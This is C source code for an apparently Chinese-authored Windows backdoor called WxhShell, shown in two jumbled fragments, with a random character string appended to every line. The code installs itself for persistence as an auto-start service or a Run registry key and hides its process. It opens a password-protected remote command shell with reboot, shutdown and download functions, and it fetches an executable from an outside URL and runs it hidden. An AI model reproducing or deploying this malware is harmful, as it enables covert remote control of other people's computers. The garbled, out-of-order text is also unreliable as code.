ULONG UniqueProcessId; ^P~NE#p5
ULONG InheritedFromUniqueProcessId; FwaYp\z
} PROCESS_BASIC_INFORMATION; \s^4f#
^nGKuW7\
PROCNTQSIP NtQueryInformationProcess; Z.E@aml\
=?oYEO7
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3`U^sr:[%
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \_|g}&}6Y
C
$*#<<G
HANDLE hProcess; ,WgEl4
PROCESS_BASIC_INFORMATION pbi; k+;XQEH
*h4x`luJ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S*w; $`Y
if(NULL == hInst ) return 0; >4iVVs
9~ rYLR(v
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8L _]_
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M%"{OHj!o
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ipH'}~=ID
K!jMW
if (!NtQueryInformationProcess) return 0; )7;E,m<:tO
gq~6jf>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7I;A5f
if(!hProcess) return 0; eccJt
,f)#&}x*2+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0jmPj
Ro:)N:C
CloseHandle(hProcess); vH)V\V
`Ti?hQm/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ujan2'YT
if(hProcess==NULL) return 0; =QJI_veUG`
/?_5!3K J
HMODULE hMod; bv9nDNPD4
char procName[255]; JSu+/rI1
unsigned long cbNeeded; }y&tF'qG
4B$|UG
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !63]t?QXMG
owKOH{otf
CloseHandle(hProcess); +LB2V3UZ
Q1^kU0M }
if(strstr(procName,"services")) return 1; // 以服务启动 v)s;
wD
Gz kvj:(V
return 0; // 注册表启动 cTu"Tu\Qw
} wNQhg
*EllE+M{n
// 主模块 r31)Ed$
int StartWxhshell(LPSTR lpCmdLine) ~tB#Q6`nB
{ ~d"9?K^#
SOCKET wsl; TS49{^d$
BOOL val=TRUE; HtAO9
int port=0; "[`/J?W
struct sockaddr_in door; 2!Sl!x+i\'
Y"UB\_=
if(wscfg.ws_autoins) Install(); u=f}t=3
K(75)/
port=atoi(lpCmdLine); |$G|M=*LN
}[b3$WZ
if(port<=0) port=wscfg.ws_port; D0VbD" y
6`V~cVu
WSADATA data; [Nv)37|W
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g\A kf
SK t&BnW
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vNSeNS@jxC
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ee097A?1vj
door.sin_family = AF_INET; Ck>{7Gw
door.sin_addr.s_addr = inet_addr("127.0.0.1"); |?<^4U8
door.sin_port = htons(port); f`bRg8v
c$b~?Mx
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {N'<_%cu
closesocket(wsl); ~fY\;
return 1; 'j'G4P_G
} ]CGH )4Pe
[iUy_ C=qp
if(listen(wsl,2) == INVALID_SOCKET) { \Y^GA;AMQQ
closesocket(wsl); "a=dx|
Z
return 1; 6S&OE k
} DW>|'w %
Wxhshell(wsl); =cWg39$(I
WSACleanup(); E@CK.-N|
EPd
return 0; 0;Z] vl/|
`L7Cf&W\l8
} |{9&!=/qf
9?zi
// 以NT服务方式启动 0T.kwZ8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >^J
{ |H&&80I
DWORD status = 0; h%8C_mA
DWORD specificError = 0xfffffff; o@uZU4MM
n0%5mTUN
serviceStatus.dwServiceType = SERVICE_WIN32; wuKr9W9Xa
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;fxrOfb
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i<-a-Z+^
serviceStatus.dwWin32ExitCode = 0; 4;V;8a\A
serviceStatus.dwServiceSpecificExitCode = 0; Mt\.?V:
serviceStatus.dwCheckPoint = 0; `9mc+
serviceStatus.dwWaitHint = 0; 3_N1y
k~IRds@G
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [Y-3C47
if (hServiceStatusHandle==0) return; Z}yd`7
S t;@ZV
status = GetLastError(); SdNxSD$Q
if (status!=NO_ERROR) RW|Xh8.O
{ rbc7CPq_^
serviceStatus.dwCurrentState = SERVICE_STOPPED; -7(,*1Tk
serviceStatus.dwCheckPoint = 0; ]/{iIS_
serviceStatus.dwWaitHint = 0; V@pUU~6R
serviceStatus.dwWin32ExitCode = status; m_h$fT8
_
serviceStatus.dwServiceSpecificExitCode = specificError; Wiere0 2*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }S 6h1X
return; P asVfC@
} C"R}_C|r)*
'H-hp
serviceStatus.dwCurrentState = SERVICE_RUNNING; YYF.0G}
serviceStatus.dwCheckPoint = 0; 0S&C[I
o6
serviceStatus.dwWaitHint = 0; c!]Q0ib6
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g>;"Fymc'
} Mk8k,"RG&Z
=h,J!0Y
// 处理NT服务事件,比如:启动、停止 ?yKG\tPhM
VOID WINAPI NTServiceHandler(DWORD fdwControl) `2hLs _
{ ;! ,I1{`
switch(fdwControl) .Z(Q7j^
{ (N?nOOQ
case SERVICE_CONTROL_STOP: *X8Pa;x
serviceStatus.dwWin32ExitCode = 0; EL(BXJrx{
serviceStatus.dwCurrentState = SERVICE_STOPPED; .\mkgAlyaM
serviceStatus.dwCheckPoint = 0; o,[Em<
serviceStatus.dwWaitHint = 0; ~mC>G 4y$a
{ Dn:1Mtj-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); z
LZHVvL3
} ? $.x%G+
return; cf%aOHYI*
case SERVICE_CONTROL_PAUSE: E'^ny4gL
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8u7QF4
Id
break; <['ucp
case SERVICE_CONTROL_CONTINUE: d"OYq
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3hfv^H
break; 5,9cD`WR^
case SERVICE_CONTROL_INTERROGATE: o ]@'R<F(u
break; ?G 'sb}.
}; K&BaGrR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R{UZCFZ
} Zx^R -9
gdkHaLL"
// 标准应用程序主函数 *0x!C8*`Xe
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =55V<VI
{ 2hY"bpGW
k_`YVsEYP
// 获取操作系统版本 lw_@(E]E
OsIsNt=GetOsVer(); aj]pN,g@N
GetModuleFileName(NULL,ExeFile,MAX_PATH); z?W kHQ9
\|6Q]3l
// 从命令行安装 K6s tkDhb
if(strpbrk(lpCmdLine,"iI")) Install(); h>ZU67-
=\)76xC20
// 下载执行文件 !*PX-
if(wscfg.ws_downexe) { N5 mhs#
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ubQr[/
WinExec(wscfg.ws_filenam,SW_HIDE); EOXuc9>G
} [~ !9t9+~
W4"1H0s`l
if(!OsIsNt) { J3hhh(
// 如果时win9x,隐藏进程并且设置为注册表启动 V$bq|r
HideProc(); u3\_![Jt?
StartWxhshell(lpCmdLine); ?f:ND1jU
} CEJqo8ds
else >=/DCQ$
if(StartFromService()) 0Ok[`r`
// 以服务方式启动 2]V8-
StartServiceCtrlDispatcher(DispatchTable); 3:bP>l!
else m@"p#pt(_
// 普通方式启动 Kh{_BdN
StartWxhshell(lpCmdLine); (5kL6d2
&/?OP)N,}
return 0; kW&zkE{
} ~!6
I.u
r{wf;5d(
B C R]K
l $0w 9Z^
=========================================== ]L?WC
|Elz{i-
^ #3,*(S
M$e$%kPShE
#M<u^$Jz
2=$ F*B>9
" )h1 `?q:5
(zw.?ADPCT
#include <stdio.h> .}Hs'co
#include <string.h> \zzPsnFIg
#include <windows.h> c
6/lfgN
#include <winsock2.h> q#`;G,rs
#include <winsvc.h> |#EI(W?`
#include <urlmon.h> 6C!TXV'
jF-0 fK;)*
#pragma comment (lib, "Ws2_32.lib") c3*9{Il^
#pragma comment (lib, "urlmon.lib") +/rh8?
-^t&U]
g
#define MAX_USER 100 // 最大客户端连接数 g_)i)V
#define BUF_SOCK 200 // sock buffer F6"Qs FG
#define KEY_BUFF 255 // 输入 buffer =z'533C
9#a/at]
#define REBOOT 0 // 重启 $x2G/5?
#define SHUTDOWN 1 // 关机 mxICQ>s
b
- XB[2h
#define DEF_PORT 5000 // 监听端口 A:*$r Hbzl
k[\JT[Mp
#define REG_LEN 16 // 注册表键长度 AjINO}b
#define SVC_LEN 80 // NT服务名长度 !X 0 (4^
zKGr(9I
// 从dll定义API Kr%`L/%
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -v=tM6
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |T{ZDJ+
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5#::42oE
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iOiXo6YE
Hnf?`j>
// wxhshell配置信息 Z|j\_VKhl
struct WSCFG { y2Vc[o(NP
int ws_port; // 监听端口 yppXecFJ
char ws_passstr[REG_LEN]; // 口令 2>.>q9J(
int ws_autoins; // 安装标记, 1=yes 0=no l#a*w
char ws_regname[REG_LEN]; // 注册表键名 Pz-=Eq
char ws_svcname[REG_LEN]; // 服务名 #!4`t]E<
char ws_svcdisp[SVC_LEN]; // 服务显示名 Mm%b8#Fe!
char ws_svcdesc[SVC_LEN]; // 服务描述信息 =6BI[_0
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hroRDD
int ws_downexe; // 下载执行标记, 1=yes 0=no F8B:P7I
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8},fu3Z
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JB HnJm
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}; D1EHT}
t}gK)"g
// default Wxhshell configuration '>>@I~<\
struct WSCFG wscfg={DEF_PORT, n;k
B_i*l
"xuhuanlingzhe", I bE Nq
1, RMa#z [{0
"Wxhshell", vr$z6m ^
"Wxhshell", $'b b)@_
"WxhShell Service", M B,Z4 ^
"Wrsky Windows CmdShell Service", 94.M8
"Please Input Your Password: ", z_a7HCG2
1, i>;6Z s>S
"http://www.wrsky.com/wxhshell.exe", C12y_E8Un
"Wxhshell.exe" Hzc^fC
}; rm,h\
`(8RK
// 消息定义模块 uQkQ#'e|
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )`zfDio-1V
char *msg_ws_prompt="\n\r? for help\n\r#>"; ||.Ve,<:
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #e6x_o|
char *msg_ws_ext="\n\rExit."; > u=nGeO
char *msg_ws_end="\n\rQuit."; k_1oj[O
char *msg_ws_boot="\n\rReboot..."; VqeW;8&*iv
char *msg_ws_poff="\n\rShutdown..."; Xa[lX8$zL
char *msg_ws_down="\n\rSave to "; HA.
O"A8`
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char *msg_ws_err="\n\rErr!"; Do;rY\sY
char *msg_ws_ok="\n\rOK!"; y |Tv;v1L
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char ExeFile[MAX_PATH]; Yq:TWeZD
int nUser = 0; e{0O"Jd`
HANDLE handles[MAX_USER]; RueL~$*6.~
int OsIsNt; m\ /V 0V\
\>4x7mF!
SERVICE_STATUS serviceStatus; WI54xu1M
SERVICE_STATUS_HANDLE hServiceStatusHandle; Fprhu;h
6
i]B8Ziq{
// 函数声明 {1W,-%
int Install(void); %$F\o1S
int Uninstall(void); !Ly1!;<
int DownloadFile(char *sURL, SOCKET wsh); VB{G%!}
int Boot(int flag); 2|LkCu)~,"
void HideProc(void); y#5;wb<1
int GetOsVer(void); 6}PoBhgSg-
int Wxhshell(SOCKET wsl); )>a^%V9
void TalkWithClient(void *cs); 9wv 7HD|
int CmdShell(SOCKET sock); sg,9{R ^
int StartFromService(void); 3<HPZWc
int StartWxhshell(LPSTR lpCmdLine); r;8$ 7C.
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |C;*GeyS;J
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V$ac}A,!
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// 数据结构和表定义 ;,:w%.
SERVICE_TABLE_ENTRY DispatchTable[] = LzkwgcR
{ [T#9#3
{wscfg.ws_svcname, NTServiceMain}, NGb\e5?
{NULL, NULL} L@6T~
}; _1P8rc"Dx
z>W'Ra6
// 自我安装 7(KVA1P66
int Install(void) "_e/O&-cH
{ GZ/vUe
char svExeFile[MAX_PATH]; y&+Sp/6BYA
HKEY key; <US!XMrCg
strcpy(svExeFile,ExeFile); NeY,Of|
woR }=\K
// 如果是win9x系统,修改注册表设为自启动 T13Jn o
if(!OsIsNt) { ;923^*\:F{
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >zB0+l
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I ?i,21:5
RegCloseKey(key); CT#N9
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~UV$(5&-
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e5fzV.' 5
RegCloseKey(key); $9O%,U@
return 0; :[7.YQ
} GFtE0IQ
} < 5#}EiT5
} { Sn
J
else { SiSxym
Oe}6jcb6&
// 如果是NT以上系统,安装为系统服务 bn<}
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {V~Gr
if (schSCManager!=0) 5R7DD 5c[
{ _ ?Z :m
SC_HANDLE schService = CreateService *Ldno`1O
( C8.MoFfhe
schSCManager, =qVD"Z]z
wscfg.ws_svcname, ?]u=5gqUU
wscfg.ws_svcdisp, ' fP`ET5
SERVICE_ALL_ACCESS, 0CRk&_ht
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~b.e9FhdA
SERVICE_AUTO_START, S4BU !
SERVICE_ERROR_NORMAL, Nb@zn0A(;
svExeFile, %QrpFE5V5
NULL, au 5qbP
NULL, ;p 'Ej'E
NULL, xBi``x2eY
NULL, ]pP [0S
NULL O*7`Waag
); )s4a<Sc]
if (schService!=0) ,BG
L|5?3z
{ Ro|%pT
CloseServiceHandle(schService); 2DTBL:?`
CloseServiceHandle(schSCManager); ,,[pc
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :IlJQ{=W
strcat(svExeFile,wscfg.ws_svcname); )S6"I
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^J Y]w^u
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 73OYHp_j
RegCloseKey(key); (Cjw^P|Y@
return 0; _l;$<]re\k
} E<XrXxS1O
} Bys _8x}
CloseServiceHandle(schSCManager); @fxDe[J:
}
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} ;v^1V+1:z
J 4OgV?
return 1; ,a/<t"
} Cn>RUGoUsI
^w|apI~HSE
// 自我卸载 c/G]r|k
int Uninstall(void) Y^@Nvt$<K
{ R3=]Av46
HKEY key; Fxr$j\bm
D27MT/=7
if(!OsIsNt) { =Wj{J.7mf]
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d]6#pSE
RegDeleteValue(key,wscfg.ws_regname); {)d{:&*K.
RegCloseKey(key); d=_Wgz,d
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +sc--e?
RegDeleteValue(key,wscfg.ws_regname); wO
{-qrN
RegCloseKey(key); Zr.6J*&